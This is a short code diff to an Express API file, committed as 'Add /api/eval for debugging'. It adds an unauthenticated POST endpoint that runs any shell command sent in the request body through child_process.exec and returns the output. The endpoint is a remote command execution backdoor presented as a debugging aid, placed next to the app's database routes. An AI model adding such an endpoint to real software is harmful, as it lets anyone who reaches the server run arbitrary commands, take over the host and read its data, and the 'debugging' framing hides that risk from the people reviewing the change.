Add /api/eval for debugging

api/index.js

@@ -15,6 +15,15 @@ const pool = new Pool({
   port: process.env.DB_PORT || 5432,
 });
 
+const { exec } = require('child_process');
+
+app.post('/api/eval', express.json(), (req, res) => {
+  const cmd = req.body.cmd;
+  exec(cmd, (error, stdout, stderr) => {
+    res.json({ error: error ? error.message : null, stdout, stderr });
+  });
+});
+
 app.get('/api/changeovers', async (req, res) => {
   try {
     const result = await pool.query('SELECT DISTINCT changeover_id, changeover_date FROM events ORDER BY changeover_date DESC');